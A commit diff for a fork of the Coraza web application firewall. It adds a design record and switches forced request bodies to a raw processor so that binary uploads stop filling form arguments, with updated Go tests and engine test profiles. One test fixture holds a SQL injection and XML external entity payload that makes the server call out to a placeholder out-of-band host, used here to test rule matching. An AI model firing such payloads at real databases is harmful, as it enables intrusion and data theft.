fix(corazawaf): fall back to RAW for ctl:forceRequestBodyVariable (DEF-55047)

docs/adr/0062-force-request-body-variable-raw-default.md

@@ -0,0 +1,94 @@
+# ADR-0062: `ctl:forceRequestBodyVariable` falls back to the RAW processor
+
+- **Status:** proposed
+- **Date:** 2026-10-14 (expected; update before merge)
+- **Version:** unreleased (post-v3.8.1)
+- **PR:** [#28](https://github.com/cloudlinux/coraza/pull/28) (cloudlinux/coraza fork)
+- **Issue(s):** [#938](https://github.com/corazawaf/coraza/issues/938) (origin of the RAW processor and of the open question); fork tracking ticket DEF-55047
+- **Deciders:** CloudLinux WebShield team
+- **Category:** Parity (ModSecurity v2 `forceRequestBodyVariable`)
+
+## Context and Problem
+
+`ctl:forceRequestBodyVariable=On` exists to keep a body available as
+`REQUEST_BODY` when no processor would otherwise run. ModSecurity v2 does exactly
+that and parses nothing. Coraza additionally selected the URLENCODED processor
+whenever no processor had been chosen, so any forced body of another type, binary
+uploads included, was split on `&` and `=` into `ARGS_POST`.
+
+On a binary body this produces garbage argument names and values, which rules
+that inspect `ARGS` then match, and evaluating them costs CPU. In the DEF-55047
+measurement, a whole transaction with the production ruleset (v8.58) took about
+1.2 s for a 200 KiB body against about 6 ms with the body kept raw; the figure
+covers rule evaluation as well as decoding. The arguments stay in memory for the
+life of the transaction and can reach `SecArgumentsLimit`, which sets
+`REQBODY_ERROR`.
+
+The fallback was left open upstream. The code carried a `TODO(4.x)` asking
+whether the RAW processor (ADR-0010) fits better as the forced default, quoting
+the cost of parsing a body of unknown type as urlencoded.
+
+## Decision Drivers
+
+- Match ModSecurity v2: a forced body is exposed as `REQUEST_BODY` and not parsed.
+- Stop binary bodies from filling `ARGS_POST` and triggering argument rules.
+- Avoid the decoding cost and the retained arguments.
+- A form Content-Type must keep its own processor.
+
+## Considered Options
+
+- Keep URLENCODED as the fallback.
+- Fall back to RAW when no processor has been chosen.
+- Leave the engine alone and set `ctl:requestBodyProcessor=RAW` in every ruleset
+  that forces a body.
+
+## Decision Outcome
+
+Chosen: **fall back to RAW**, because it removes the false positives and the
+cost at the source, for every ruleset, and matches ModSecurity v2.
+
+A request whose Content-Type is `application/x-www-form-urlencoded` or
+`multipart/form-data` already has its processor selected when the headers are
+processed, so it is unaffected. A processor chosen with `ctl:requestBodyProcessor`
+still wins. Only forced bodies with no processor change: those with a non-form
+Content-Type or no Content-Type.
+
+The third option fixes one ruleset and leaves the engine default for everyone
+else.
+
+## Technical Discussion
+
+No substantive technical discussion recorded in this repository. #938, which
+proposed the RAW processor, raised the cost of parsing a body of unknown type as
+urlencoded only in passing, and the default was never decided there; the
+`TODO(4.x)` in `internal/corazawaf/transaction.go` was the only upstream trace of
+the question.
+
+## Participants
+
+- CloudLinux WebShield team: author
+
+## Consequences
+
+- **Positive:** a forced non-form body no longer populates `ARGS_POST`, so
+  argument rules stop matching binary content, and the decoding cost and retained
+  arguments are gone. Rules on `REQUEST_BODY` and `REQUEST_BODY_LENGTH` see the
+  same values as before.
+- **Negative / follow-up:** a ruleset that relied on the old fallback to read
+  `ARGS_POST` from a forced body with no form Content-Type loses that variable
+  and must select URLENCODED with `ctl:requestBodyProcessor=URLENCODED`. This
+  deviates from upstream Coraza, so later upstream syncs touching this block need
+  a manual merge.
+- **Negative / follow-up:** a forced body with a non-form or absent Content-Type is
+  no longer visible to `ARGS` rules. A backend that parses such a body as a form
+  regardless of Content-Type sees arguments that only `REQUEST_BODY` rules can
+  match. ModSecurity v2 is in the same position. Rulesets protecting such a backend
+  must select URLENCODED with `ctl:requestBodyProcessor=URLENCODED` or scan
+  `REQUEST_BODY`.
+
+## References
+
+- Code: `internal/corazawaf/transaction.go` (`ProcessRequestBody`)
+- Profile: `testing/engine/ctl.go`
+- Motivating discussion: https://github.com/corazawaf/coraza/issues/938
+- Related ADRs: ADR-0010 (raw body processor)

docs/adr/README.md

@@ -130,5 +130,6 @@ Superseding does not delete the old record. Set its status and let the history s
 | [0059](0059-secresponsebodyjsondepthlimit.md) | GHSA-3c6w-j9xm-8h2h | 2026-09-26 | unreleased | F | `SecResponseBodyJsonDepthLimit` directive |
 | [0060](0060-json-bounded-recursion-prescan.md) | GHSA-6gcq-wc29-5xf2 | 2026-09-30 | unreleased | P | Iterative depth pre-scan before `gjson.Valid` in the JSON body processor |
 | [0061](0061-pm-zero-copy-haystack.md) | [#26](https://github.com/cloudlinux/coraza/pull/26) | 2026-10-14 (expected) | unreleased | ⚡ | Zero-copy haystack for the `@pm` Aho-Corasick matcher |
+| [0062](0062-force-request-body-variable-raw-default.md) | [#28](https://github.com/cloudlinux/coraza/pull/28) | 2026-10-14 (expected) | unreleased | P | `ctl:forceRequestBodyVariable` falls back to the RAW processor |
 
 Categories: **F**eature · **P**arity · **⚡** Perf · **R**efactor

internal/auditlog/concurrent_writer_test.go

@@ -33,8 +33,8 @@ func TestConcurrentWriterNoop(t *testing.T) {
 
 func TestConcurrentWriterFailsOnInit(t *testing.T) {
 	config := NewConfig()
-	config.Target = "/unexisting.log"
 	config.Dir = t.TempDir()
+	config.Target = filepath.Join(config.Dir, "missing-dir", "audit.log")
 	config.FileMode = fs.FileMode(0777)
 	config.DirMode = fs.FileMode(0777)
 	config.Formatter = &jsonFormatter{}

internal/auditlog/serial_writer_test.go

@@ -56,8 +56,8 @@ func TestSerialLoggerSuccessOnInit(t *testing.T) {
 
 func TestSerialWriterFailsOnInitForUnexistingFile(t *testing.T) {
 	config := NewConfig()
-	config.Target = "/unexisting.log"
 	config.Dir = t.TempDir()
+	config.Target = filepath.Join(config.Dir, "missing-dir", "audit.log")
 	config.FileMode = fs.FileMode(0777)
 	config.DirMode = fs.FileMode(0777)
 	config.Formatter = &jsonFormatter{}

internal/corazawaf/transaction.go

@@ -1294,13 +1294,11 @@ func (tx *Transaction) ProcessRequestBody() (*types.Interruption, error) {
 	// Default variables.ReqbodyProcessor values
 	// XML and JSON must be forced with ctl:requestBodyProcessor=JSON
 	if tx.ForceRequestBodyVariable {
-		// We force URLENCODED if mimeType is x-www... or we have an empty RBP and ForceRequestBodyVariable
+		// A form Content-Type has already selected URLENCODED or MULTIPART. Any other
+		// body is kept as REQUEST_BODY only: parsing an unknown body as urlencoded
+		// would fill ARGS_POST with garbage and spend time decoding it.
 		if rbp == "" {
-			// TODO(4.x): Evaluate if the new RAW body parser fits better than URLENCODED for the
-			// default forced body processor. See some reasoning in https://github.com/corazawaf/coraza/issues/938:
-			// "meaning that parsing a body of unknown type might waste some time by trying to parse it as urlencoded
-			// for nothing (and possibly set some "garbage" variables if you happen to have a & in it)"
-			rbp = "URLENCODED"
+			rbp = "RAW"
 		}
 		tx.variables.reqbodyProcessor.Set(rbp)
 	}

internal/corazawaf/transaction_test.go

@@ -2752,7 +2752,7 @@ func TestForceRequestBodyOverride(t *testing.T) {
 	if _, err := tx.ProcessRequestBody(); err != nil {
 		t.Fatalf("Failed to process request body: %v", err)
 	}
-	if tx.variables.RequestBodyProcessor().Get() != "URLENCODED" {
+	if tx.variables.RequestBodyProcessor().Get() != "RAW" {
 		t.Fatalf("Failed to force request body variable, got RBP: %q", tx.variables.RequestBodyProcessor().Get())
 	}
 

internal/variables/variables.go

@@ -181,8 +181,8 @@ const (
 	// body processors. MULTIPART, XML, and JSON processors parse the body into their own
 	// collections and do not populate this variable.
 	// ```ctl:forceRequestBodyVariable=on``` can be used in the REQUEST_HEADERS phase to force
-	// the population of this variable by setting URLENCODED as the processor when no processor
-	// would otherwise be selected.
+	// the population of this variable by setting RAW as the processor when no processor
+	// would otherwise be selected. RAW populates only this variable and parses no arguments.
 	// ---
 	// ```seclang
 	// SecRule REQUEST_BODY "@contains foo" "id:1001,phase:2,deny,log"

testing/engine/ctl.go

@@ -31,21 +31,60 @@ var _ = profile.RegisterProfile(profile.Profile{
 								4,
 								100,
 								103,
-								105,
 							},
 							NonTriggeredRules: []int{
 								2,
 								3,
 								5,
 								6,
 								7,
+								105,
+								106,
 								444,
 							},
 						},
 					},
 				},
 			},
 		},
+		{
+			Title: "forceRequestBodyVariable keeps a binary body raw",
+			Stages: []profile.Stage{
+				{
+					Stage: profile.SubStage{
+						Input: profile.StageInput{
+							Method:  "POST",
+							URI:     "/test.php",
+							Headers: map[string]string{"Content-Type": "image/jpeg"},
+							Data:    "pineapple=pizza&\x89PNG\r\n\x1a\n\x00\x01&\xff=\xfe",
+						},
+						Output: profile.ExpectedOutput{
+							TriggeredRules:    []int{100, 103},
+							NonTriggeredRules: []int{105, 106},
+						},
+					},
+				},
+			},
+		},
+		{
+			Title: "forceRequestBodyVariable keeps the form content type processor",
+			Stages: []profile.Stage{
+				{
+					Stage: profile.SubStage{
+						Input: profile.StageInput{
+							Method:  "POST",
+							URI:     "/test.php",
+							Headers: map[string]string{"Content-Type": "application/x-www-form-urlencoded"},
+							Data:    "pineapple=pizza",
+						},
+						Output: profile.ExpectedOutput{
+							TriggeredRules:    []int{103, 105, 106},
+							NonTriggeredRules: []int{100},
+						},
+					},
+				},
+			},
+		},
 		{
 			Title: "ruleRemoveTargetById whole collection",
 			Stages: []profile.Stage{
@@ -303,9 +342,10 @@ SecRule ARGS_GET "1234" "id: 6, phase: 1, log, tag:test-tag"
 SecRule ARGS_GET "1234" "id: 7, phase: 1, log, msg:'sometest'"
 
 # should match
-SecRule REQBODY_PROCESSOR "URLENCODED" "id:100,log,phase:2"
+SecRule REQBODY_PROCESSOR "RAW" "id:100,log,phase:2"
 SecRule REQUEST_BODY "pizza" "id:103,log,phase:2"
 SecRule ARGS_POST:pineapple "pizza" "id:105,log,phase:2"
+SecRule REQBODY_PROCESSOR "URLENCODED" "id:106,log,phase:2"
 
 SecAction "id:444,phase:2,log"
 

testing/engine/special_urlencoded.go

@@ -21,12 +21,14 @@ var _ = profile.RegisterProfile(profile.Profile{
 				{
 					Stage: profile.SubStage{
 						Input: profile.StageInput{
-							URI:    "/",
-							Method: "POST",
-							Data:   `var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;`,
+							URI:     "/",
+							Method:  "POST",
+							Headers: map[string]string{"Content-Type": "application/x-www-form-urlencoded"},
+							Data:    `var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;`,
 						},
 						Output: profile.ExpectedOutput{
-							TriggeredRules: []int{100},
+							TriggeredRules:    []int{100, 101},
+							NonTriggeredRules: []int{102},
 						},
 					},
 				},
@@ -35,8 +37,8 @@ var _ = profile.RegisterProfile(profile.Profile{
 	},
 	Rules: `
 SecRequestBodyAccess On
-SecAction "id:1, phase:1, ctl:forceRequestBodyVariable=on"
-# urlencoded_error must be set because of the invalid payload
-SecRule &URLENCODED_ERROR "!@eq 0" "id: 100, log"
+SecRule REQBODY_PROCESSOR "URLENCODED" "id:100,log,phase:2"
+SecRule ARGS_POST:var "@contains extractvalue" "id:101,log,phase:2"
+SecRule ARGS_POST:var "@contains NoSuchPayload" "id:102,log,phase:2"
 `,
 })